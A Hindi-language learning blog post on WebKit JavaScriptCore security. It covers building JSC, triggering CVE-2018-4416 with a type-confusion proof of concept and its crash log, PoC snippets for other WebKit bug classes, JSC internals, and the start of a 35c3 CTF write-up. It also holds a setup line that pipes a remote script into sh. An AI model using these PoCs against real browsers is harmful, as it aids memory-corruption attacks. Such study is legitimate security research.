
WebKit jsc CVE-2018-4416 के लिए CVE शोषण
मैंने एक अपेक्षाकृत आसान विकल्प चुना: /WebKit/। (ChakraCore शायद आसान होता, lol। लेकिन माइक्रोसॉफ्ट द्वारा प्रोजेक्ट रद्द करने की अफवाह है। इसलिए मैंने इसे न चुनने का फैसला किया)।
मैं /WebKit/ सुरक्षा का अध्ययन करते हुए अपने नोट्स रिकॉर्ड करने के लिए पोस्टों की एक श्रृंखला लिखूंगा। ब्राउज़र सुरक्षा सीखने का यह मेरा पहला मौका भी है, मेरी पोस्टों में शायद बहुत सारी गलतियाँ होंगी। यदि आप उन्हें देखते हैं, तो सुधार के लिए मुझसे संपर्क करने में संकोच न करें।
इसे पढ़ने से पहले, आपको जानना होगा: - C++ व्याकरण - असेंबली भाषा व्याकरण - वर्चुअल मशीन की स्थापना - Ubuntu और उसकी कमांड लाइन से परिचित होना - बुनियादी कंपाइल सिद्धांत अवधारणाएँ
** वर्चुअल मशीन :PROPERTIES: :CUSTOM_ID: virtual-machine :END: पहले, हमें अपने परीक्षण लक्ष्य के रूप में एक VM स्थापित करना होगा। यहाँ, मैं /Ubuntu 18.04 LTS/ और /Ubuntu 16.04 LTS/ को अपने लक्ष्य होस्ट के रूप में चुनता हूँ। आप [[https://www.ubuntu.com/][यहाँ]] से डाउनलोड कर सकते हैं। अगर मैं संस्करण निर्दिष्ट नहीं करता, तो कृपया डिफ़ॉल्ट संस्करण के रूप में 18.04 LTS का उपयोग करें।
Mac एक अधिक उपयुक्त विकल्प हो सकता है क्योंकि इसमें XCode और Safari हैं। MacOS के उच्च संसाधन खपत और अस्थिर अपडेट को ध्यान में रखते हुए, मैं Ubuntu का उपयोग करना पसंद करूंगा।
हमें एक VM सॉफ़्टवेयर चाहिए। मैं [[https://www.vmware.com/][VMWare]] का उपयोग करना पसंद करता हूँ। Parallel Desktop और VirtualBox (मुफ़्त) भी ठीक हैं, यह आपकी व्यक्तिगत आदत पर निर्भर करता है।
मैं आपको कदम दर कदम VMWare पर Ubuntu स्थापित करने का तरीका नहीं बताऊंगा। हालांकि, मुझे आपको यह याद दिलाना होगा कि जितना संभव हो उतनी मेमोरी और CPU आवंटित करें क्योंकि संकलन में भारी मात्रा में संसाधनों की खपत होती है। स्रोत कोड और संकलित फ़ाइलों को संग्रहीत करने के लिए 80GB डिस्क पर्याप्त होनी चाहिए।
** स्रोत कोड :PROPERTIES: :CUSTOM_ID: source-code :END: आप WebKit स्रोत कोड तीन तरीकों से डाउनलोड कर सकते हैं: [[https://github.com/WebKit/webkit][/git/]], /svn/, और [[https://webkit.org/getting-the-code/][/archive/]]।
WebKit का डिफ़ॉल्ट संस्करण प्रबंधक svn है। लेकिन मैं git चुनता हूँ (svn का उपयोग करने में बहुत अपरिचित):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** डीबगर और संपादक :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE बहुत सारे संसाधनों की खपत करता है, इसलिए मैं स्रोत कोड संपादित करने के लिए vim का उपयोग करता हूँ।
अधिकांश डिबग कार्य जो मैंने देखे हैं, वे lldb का उपयोग करते हैं जिससे मैं परिचित नहीं हूँ। इसलिए, मैं gef प्लगइन के साथ gdb भी स्थापित करता हूँ।
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** परीक्षण :PROPERTIES: :CUSTOM_ID: test :END: *** JavaScriptCore संकलित करना :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: पूर्ण WebKit को संकलित करने में बहुत समय लगता है। हम वर्तमान में केवल JSC (JavaScript Core) को संकलित करते हैं, जहाँ अधिकांश कमज़ोरियाँ आती हैं।
अब, आपको WebKit स्रोत कोड के रूट डायरेक्टरी में होना चाहिए। निर्भरताएँ तैयार करने के लिए यह चलाएँ:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
भले ही हम अभी पूर्ण WebKit संकलित नहीं कर रहे हैं, आप भविष्य के परीक्षण के लिए पहले शेष निर्भरताएँ स्थापित कर सकते हैं। JSC संकलित करने में यह कदम आवश्यक नहीं है यदि आप बहुत अधिक समय नहीं बिताना चाहते:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
उसके बाद, हम JSC संकलित कर सकते हैं:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
कुछ मिनट बाद, हम JSC को इस प्रकार चला सकते हैं:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
चलिए कुछ परीक्षण करते हैं:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** बग ट्रिगर करना :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS यहाँ #+end_quote
हम [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] का परीक्षण करने के लिए उपयोग करते हैं, यहाँ PoC है। इसे =jsc= के समान फ़ोल्डर में =poc.js= के रूप में संग्रहीत करें:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // ऑप्टिमाइजेशन शुरू कर रहे हैं। for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // "tmp" की स्ट्रक्चर ID JSPropertyNameEnumerator में संग्रहीत है।
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // "obj" की स्ट्रक्चर ID tmp के बराबर है।
return obj[k]; // टाइप कन्फ्यूजन।
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
पहले, कमज़ोर संस्करण पर स्विच करें:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote इसमें संकलन से भी अधिक समय लग सकता है #+end_quote
चलाएँ: =./jsc poc.js=, और हम प्राप्त कर सकते हैं:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
यदि हम इसे नवीनतम संस्करण पर चलाते हैं (=git checkout master= वापस स्विच करने के लिए, और बिल्ड सामग्री हटाएँ =rm -rf WebKitBuild/Relase/= और =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,
... // बहुत सारे त्रुटि संदेश
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
अब, हम सफलतापूर्वक एक बग ट्रिगर कर रहे हैं!
मैं विस्तार से नहीं समझाने वाला (मुझे भी नहीं पता)। उम्मीद है कि कुछ हफ्तों के बाद हम मूल कारण का पता लगा सकेंगे।
यहाँ, मैं केवल बाइनरी स्तर से संबंधित बगों पर चर्चा करता हूँ। कुछ उच्च-स्तरीय बग, जैसे /URL Spoof/ या /UXSS/, हमारा विषय नहीं हैं। नीचे दिए गए उदाहरण केवल WebKit से नहीं हैं। कुछ Chrome के बग हैं। हम संक्षेप में परिचय देंगे। और बाद में विशेष रूप से PoC का विश्लेषण करेंगे।
इस भाग को पढ़ने से पहले, आपको दृढ़ता से कंपाइलर सिद्धांत के बारे में कुछ सामग्री पढ़ने की सलाह दी जाती है। बुनियादी Pwn ज्ञान भी सीखा जाना चाहिए। मेरा स्पष्टीकरण स्पष्ट नहीं है। फिर से, यदि आपको गलतियाँ मिलें तो मुझे सुधारें।
JSC में मेरी समझ गहरी होने के साथ यह पोस्ट कई बार अपडेट होगी। बाद में इसे जाँचना न भूलें।
** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: जिसे =UAF= भी कहा जाता है। यह CTF चुनौतियों में आम है, एक शास्त्रीय परिदृश्य:
#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src
कुछ तार्किक त्रुटियों के कारण। कोड मुक्त की गई मेमोरी को पुन: उपयोग करेगा। आमतौर पर, एक बार जब हम मुक्त की गई मेमोरी को नियंत्रित कर लें, तो हम लीक या लिख सकते हैं।
CVE-2017-13791 WebKit UAF का एक उदाहरण है। यहाँ PoC है:
#+begin_example
a b #+end_example** 2. Out of Bound :PROPERTIES: :CUSTOM_ID: out-of-bound :END: जिसे =OOB= भी कहा जाता है। यह ब्राउज़र में ओवरफ्लो जैसा है। फिर भी, हम पास की मेमोरी को पढ़/लिख सकते हैं। =OOB= अक्सर किसी ऐरे की गलत ऑप्टिमाइजेशन या अपर्याप्त जाँच में होता है। उदाहरण के लिए([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):
#+begin_example var ba; function s(){ ba = this; }
function dummy(){ alert("just a function"); }
Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example
#+begin_quote जब Function.bind कॉल किया जाता है, तो कॉल के तर्कों को JSBoundFunction::JSBoundFunction में पास करने से पहले एक Array में स्थानांतरित कर दिया जाता है। चूंकि यह संभव है कि Array प्रोटोटाइप में एक सेटर जोड़ा गया हो, इसलिए उपयोगकर्ता स्क्रिप्ट के लिए इस Array का संदर्भ प्राप्त करना संभव है, और इसे इस प्रकार बदलना कि लंबाई बैकिंग नेटिव बटरफ्लाई Array से अधिक लंबी हो। फिर जब boundFunctionCall इस Array को कॉल पैरामीटर में कॉपी करने का प्रयास करता है, तो यह मान लेता है कि लंबाई आवंटित Array से अधिक नहीं है (जो सच होता यदि इसे बदला नहीं गया होता) और सीमा से बाहर पढ़ता है। #+end_quote
अधिकांश मामलों में, हम सीधे =$RIP= रजिस्टर को ओवरराइट नहीं कर सकते। एक्सप्लॉइट लेखक आंशिक R/W को मनमाना R/W में बदलने के लिए हमेशा नकली ऐरे बनाते हैं।
** 3. टाइप कन्फ्यूजन :PROPERTIES: :CUSTOM_ID: type-confusion :END: यह एक विशेष कमज़ोरी है जो कंपाइलर वाले अनुप्रयोगों में होती है। और यह बग समझाने में थोड़ा कठिन है।
कल्पना करें कि हमारे पास निम्नलिखित ऑब्जेक्ट है (32 बिट):
#+begin_src C struct example{ int length; char *content; } #+end_src
फिर, यदि हमारे पास मेमोरी में =length= == =5= और =content= पॉइंटर ऑब्जेक्ट है, तो यह शायद इस प्रकार दिखाई देगा:
#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example
एक बार जब हमारे पास एक और ऑब्जेक्ट है:
#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src
हम कंपाइलर को =example= ऑब्जेक्ट को =exploit= ऑब्जेक्ट के रूप में पार्स करने के लिए मजबूर कर सकते हैं। हम =exp= फंक्शन को मनमाने पते पर मोड़ सकते हैं और RCE प्राप्त कर सकते हैं।
टाइप कन्फ्यूजन का एक उदाहरण:
#+begin_example var q; function g(){ q = g.caller; return 7; }
var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example
[[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]] से उद्धृत
#+begin_quote यदि webkit में कोई बिल्ट-इन स्क्रिप्ट सख्त मोड में है, लेकिन फिर एक ऐसे फंक्शन को कॉल करता है जो सख्त नहीं है, तो इस फंक्शन को Function.caller को कॉल करने की अनुमति है और यह सख्त फंक्शन का संदर्भ प्राप्त कर सकता है। #+end_quote
** 4. इंटीजर ओवरफ्लो :PROPERTIES: :CUSTOM_ID: integer-overflow :END: इंटीजर ओवरफ्लो भी CTF में सामान्य है। हालांकि इंटीजर ओवरफ्लो अपने आप में RCE नहीं ले जा सकता, यह शायद =OOB= की ओर ले जाता है।
इस बग को समझना कठिन नहीं है। कल्पना करें कि आप 32-बिट मशीन पर नीचे दिया गया कोड चला रहे हैं:
#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example
क्योंकि =eax= का अधिकतम मान =0xffffffff= है। यह =0xffffffff= + =2= = =0x100000001= को समाहित नहीं कर सकता। इस प्रकार, उच्चतम बाइट ओवरफ्लो (समाप्त) हो जाएगा। =eax= का अंतिम परिणाम =0x00000001= है।
यह WebKit से एक उदाहरण है ([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):
#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example
#+begin_quote लंबाई की सही ढंग से जाँच नहीं की गई है जिसके परिणामस्वरूप हम किसी ऐरे को पुराने में विस्तारित करके लंबाई को ओवरफ्लो कर सकते हैं। फिर, हम विस्तृत ऐरे का उपयोग =OOB= के लिए कर सकते हैं। #+end_quote
** 5. अन्य :PROPERTIES: :CUSTOM_ID: else :END: कुछ बगों को वर्गीकृत करना कठिन है: - रेस कंडीशन - अनआवंटित मेमोरी - ...
मैं बाद में इनका विस्तार से वर्णन करूंगा।
और JSC में है: - lexer - parser - प्रारंभिक इंटरप्रेटर (LLInt) - तीन जावास्क्रिप्ट JIT कंपाइलर, उनका संकलन समय धीरे-धीरे लंबा होता जाता है लेकिन चलता तेज़ होता है: + baseline JIT, प्रारंभिक JIT + एक कम-विलंबता ऑप्टिमाइज़िंग JIT (DFG) + एक उच्च-थ्रूपुट ऑप्टिमाइज़िंग JIT (FTL), JIT का अंतिम चरण - दो WebAssembly निष्पादन इंजन: + BBQ + OMG
#+begin_quote फिर भी एक अस्वीकरण, यह पोस्ट WebKit तंत्रों को समझाने में गलत या अशुद्ध हो सकती है #+end_quote
यदि आपने बुनियादी कंपाइल सिद्धांत पाठ्यक्रम सीखे हैं, तो lexer और parser कक्षाओं में पढ़ाए गए के समान ही हैं। लेकिन कोड जनरेशन भाग निराशाजनक है। इसमें एक इंटरप्रेटर और तीन कंपाइलर हैं, WTF? JSC में कई अन्य अपरंपरागत सुविधाएँ भी हैं, आइए एक नज़र डालें:
** JSC मान प्रतिनिधित्व :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: आसान पहचान के लिए, JSC का मान अलग-अलग प्रदर्शित होता है: - पॉइंटर: =0000:PPPP:PPPP:PPPP= (0000 से शुरू होता है, फिर उसका पता) - डबल (0001 या FFFE से शुरू होता है): + =0001:::= + =FFFE:::= - इंटीजर: =FFFF:0000:IIII:IIII= (मान संग्रहीत करने के लिए =IIII:IIII= का उपयोग करें) - false: =0x06= - true: =0x07= - undefined: =0x0a= - null: =0x02=
=0x0=, हालांकि, एक मान्य मान नहीं है और क्रैश का कारण बन सकता है।
** JSC ऑब्जेक्ट मॉडल :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: Java के विपरीत, जिसमें निश्चित वर्ग सदस्य होते हैं, JavaScript लोगों को किसी भी समय गुण जोड़ने की अनुमति देता है।
इसलिए, पारंपरिक रूप से स्थिर रूप से संरेखित गुणों के बावजूद, JSC में गतिशील गुण जोड़ने के लिए एक butterfly pointer है। यह एक अतिरिक्त सरणी जैसा है। आइए इसे कई स्थितियों में समझाएं।
साथ ही, JSArray हमेशा butterfly pointer को आवंटित किया जाएगा क्योंकि वे गतिशील रूप से बदलते हैं।
हम निम्नलिखित ग्राफ के साथ अवधारणा को आसानी से समझ सकते हैं:
*** 0x0 फास्ट JSObject :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: गुण प्रारंभ किए गए हैं:
#+begin_example var o = {f: 5, g: 6}; #+end_example
बटरफ्लाई पॉइंटर यहाँ शून्य होगा क्योंकि हमारे पास केवल स्थिर गुण हैं:
#+end_example
आइए JSObject के बारे में अपने ज्ञान का विस्तार करें। जैसा कि हम देखते हैं, प्रत्येक =structure ID= का एक मिलान स्ट्रक्चर टेबल होता है। तालिका के अंदर, इसमें गुण नाम और उनके ऑफ़सेट शामिल होते हैं। हमारे पिछले ऑब्जेक्ट =o= में, तालिका इस तरह दिखती है:
| property name | location | |---------------+-----------| | "f" | inline(0) | | "g" | inline(1) |
जब हम कोई मान प्राप्त करना चाहते हैं (जैसे =var v = o.f=), तो निम्नलिखित व्यवहार होंगे:
#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src
आप सोच सकते हैं कि जब =ID= =42= ज्ञात हो तो कंपाइलर सीधे ऑफ़सेट के माध्यम से मान क्यों प्राप्त करेगा। यह एक तंत्र है जिसे इनलाइन कैशिंग कहा जाता है, जो हमें तेज़ी से मान प्राप्त करने में मदद करता है। हम इसके बारे में अधिक बात नहीं करेंगे, [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][यहाँ क्लिक करें]] अधिक जानकारी के लिए।
*** 0x1 JSObject गतिशील रूप से जोड़े गए फ़ील्ड के साथ :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example
अब, बटरफ्लाई में एक स्लॉट है, जो 7 है।
#+end_example
*** 0x2 JSArray 3 सरणी तत्वों के लिए स्थान के साथ :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example
बटरफ्लाई अनुमानित आकार के साथ एक सरणी आरंभ करता है। पहला तत्व =0= का अर्थ है उपयोग किए गए स्लॉट्स की संख्या। और =3= का अर्थ है अधिकतम स्लॉट्स:
| butterfly | -| ------------- -------------- | | 0 | | ------------- (इन दो तत्वों के लिए 8 बिट) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example
*** 0x3 तेज़ गुणों और सरणी तत्वों वाला ऑब्जेक्ट :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example
हमने सरणी का एक तत्व भरा, इसलिए =0= (उपयोग किए गए स्लॉट्स) अब बढ़कर =1= हो गया है:
| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |
| <hole> |
-------------
| <hole> |
-------------
#+end_example*** 0x4 तीव्र और गतिशील गुणों तथा सरणी तत्वों वाला ऑब्जेक्ट :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example
नया सदस्य पॉइंटर पते से पहले जोड़ा जाएगा। सरणियाँ दाईं ओर और विशेषताएँ बटरफ्लाई पॉइंटर के बाईं ओर रखी जाती हैं, ठीक तितली के पंख की तरह:
| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (pointer address) | 0xffff000 | | 000000007 | ------------- | | ------------- #+end_example
*** 0x5 गतिशील गुणों और सरणी तत्वों वाला विदेशी ऑब्जेक्ट :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example
हम बटरफ्लाई को एक अंतर्निहित क्लास के साथ विस्तारित करते हैं, स्थिर गुण नहीं बदलेंगे:
| butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | State > | -> ------------- -------------- | 1 | | < C++ | ------------- | State > | | 2 |
| 0xffff000 |
| 000000007 |
-------------
| <hole> |
-------------
#+end_example
** प्रकार अनुमान :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript एक कमज़ोर, गतिशील प्रकार की भाषा है। कंपाइलर प्रकार अनुमान में बहुत काम करेगा, जिससे यह अत्यंत जटिल हो जाता है।
*** वॉचपॉइंट :PROPERTIES: :CUSTOM_ID: watchpoints :END: वॉचपॉइंट निम्नलिखित मामलों में हो सकते हैं: - haveABadTime - संरचना संक्रमण - InferredValue - InferredType - और कई अन्य...
जब उपरोक्त स्थितियाँ होती हैं, यह जाँचेगा कि क्या वॉचपॉइंट ने ऑप्टिमाइज़ किया है। WebKit में, यह इस प्रकार दर्शाया गया है:
#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src
उदाहरण के लिए, कंपाइलर =42.toString()= को ="42"= में ऑप्टिमाइज़ करना चाहता है (कोड का उपयोग करके कन्वर्ट करने के बजाय सीधे लौटाएं), यह जाँचेगा कि क्या यह पहले से अमान्य हो गया है। फिर, यदि वैध है, तो वॉचपॉइंट पंजीकृत करें और ऑप्टिमाइज़ेशन करें।
** कंपाइलर :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: बिल्कुल शुरुआत में, इंटरप्रेटर एक बाइट कोड टेम्पलेट उत्पन्न करेगा। JVM को एक उदाहरण के रूप में उपयोग करें, ताकि =.class= फ़ाइल निष्पादित हो, जो एक अन्य प्रकार का बाइट कोड टेम्पलेट है। बाइट कोड निष्पादन को आसान बनाने में मदद करता है:
#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example
*** 0x1. बेसलाइन JIT और बाइट कोड टेम्पलेट :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: सबसे बुनियादी JIT, यह यहाँ =बाइट कोड टेम्पलेट= उत्पन्न करेगा। उदाहरण के लिए, यह जावास्क्रिप्ट में /add/ है:
#+begin_example function foo(a, b) { return a + b; } #+end_example
यह बाइटकोड IL है, जो जटिल लेक्स के बिना अधिक सीधा है और asm में कन्वर्ट करने के लिए अधिक सुविधाजनक है:
#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example
कोड सेगमेंट =7= और =12= निम्नलिखित DFG IL का परिणाम दे सकते हैं (जिसके बारे में हम आगे बात करते हैं)। हम देख सकते हैं कि ऑपरेट करते समय इसमें कई प्रकार-संबंधित जानकारी है। पंक्ति 4 में, कोड जाँचेगा कि क्या लौटने वाला प्रकार मेल खाता है:
#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src
AST इस प्रकार दिखता है:
#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example
*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: यदि JSC किसी फ़ंक्शन को कुछ बार चलता हुआ पाता है। यह अगले चरण में जाएगा। पहले चरण ने पहले ही बाइट कोड उत्पन्न कर दिया है। इसलिए, DFG पार्सर सीधे बाइट कोड पार्स करता है, जो कम अमूर्त और पार्स करने में आसान है। फिर, DFG ऑप्टिमाइज़ करेगा और कोड उत्पन्न करेगा:
#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example
इस चरण में, कोड कई बार चलता है; और उनका प्रकार अपेक्षाकृत स्थिर होता है। प्रकार जाँच OSR का उपयोग करेगी।
कल्पना करें कि हम इसे इससे ऑप्टिमाइज़ करेंगे:
#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff
x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // lots of stuff z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src
इस में:
#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff
if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // lots of stuff z = *ptr; return w + x + y + z; } #+end_src
कोड तेज़ चलेगा क्योंकि =ptr= केवल एक बार प्रकार जाँच करेगा। यदि /ptr/ का प्रकार हमेशा अलग होता है, तो ऑप्टिमाइज़ किया गया कोड बार-बार बेल आउट होने के कारण धीमा चलता है। इस प्रकार, केवल जब कोड हज़ारों बार चलता है, ब्राउज़र इसे ऑप्टिमाइज़ करने के लिए =OSR= का उपयोग करता है।
*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: एक फ़ंक्शन, यदि सौ या हज़ारों बार चलता है, तो JIT FLT का उपयोग करेगा। DFG की तरह, FLT बाइट कोड टेम्पलेट का पुन: उपयोग करेगा, लेकिन गहरे ऑप्टिमाइज़ेशन के साथ:
#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example
*** 0x4. ऑप्टिमाइज़ेशन के बारे में और अधिक :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: आइए विभिन्न ऑप्टिमाइज़िंग चरणों में IR के परिवर्तन पर एक नज़र डालें:
| IR | Style | Example | |----------+-------------------------+----------------------------------------------| | Bytecode | High Level Load/Store | =bitor dst, left, right= | | DFG | Medium Level Exotic SSA | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | Low Level Normal SSA | =Int32 @dst = BitOr(@left, @right)= | | Air | Architectural CISC | =Or32 %src, %dest= |
प्रकार जाँच धीरे-धीरे समाप्त हो जाती है। आप समझ सकते हैं कि अब ब्राउज़र CVE में इतने सारे प्रकार भ्रम क्यों हैं। इसके अलावा, वे अधिक से अधिक मशीन कोड के समान होते जा रहे हैं।
एक बार प्रकार जाँच विफल होने पर, कोड पिछले IR पर लौट आएगा (उदाहरण के लिए B3 चरण में प्रकार जाँच विफल होती है, कंपाइलर DFG पर लौट आएगा और इस चरण में निष्पादित करेगा)।
** कचरा संग्रहकर्ता (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: JSC का हीप GC पर आधारित है। हीप में ऑब्जेक्ट्स में उनके संदर्भों के बारे में एक काउंटर होगा। GC बेकार मेमोरी को इकट्ठा करने के लिए हीप को स्कैन करेगा।
...अभी भी, और सामग्री की आवश्यकता है...
यह चुनौती 35c3 CTF का WebKid है। आप WebKit बाइनरी (निर्देशों के साथ) संकलित कर सकते हैं, तैयार VM, और शोषण कोड [[https://github.com/saelo/35c3ctf/tree/master/WebKid][यहाँ]] प्राप्त कर सकते हैं। साथ ही, VM या वास्तविक मशीन में एक macOS Mojave (10.14.2) तैयार किया जाना चाहिए (मुझे लगता है कि यह macOS के विभिन्न संस्करणों में क्रैश को प्रभावित नहीं करेगा, लेकिन हमला प्रिमिटिव भिन्न हो सकता है)।
इस कमांड के माध्यम से चलाएँ:
#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src
#+begin_quote पूर्ण पथ का उपयोग करना याद रखें। अन्यथा, ब्राउज़र क्रैश हो जाएगा #+end_quote
यदि स्थानीय मशीन पर चल रहे हैं, तो परीक्षण के लिए =/flag1= बनाना याद रखें।
** विश्लेषण :PROPERTIES: :CUSTOM_ID: analyzing :END: आइए पैच को देखें:
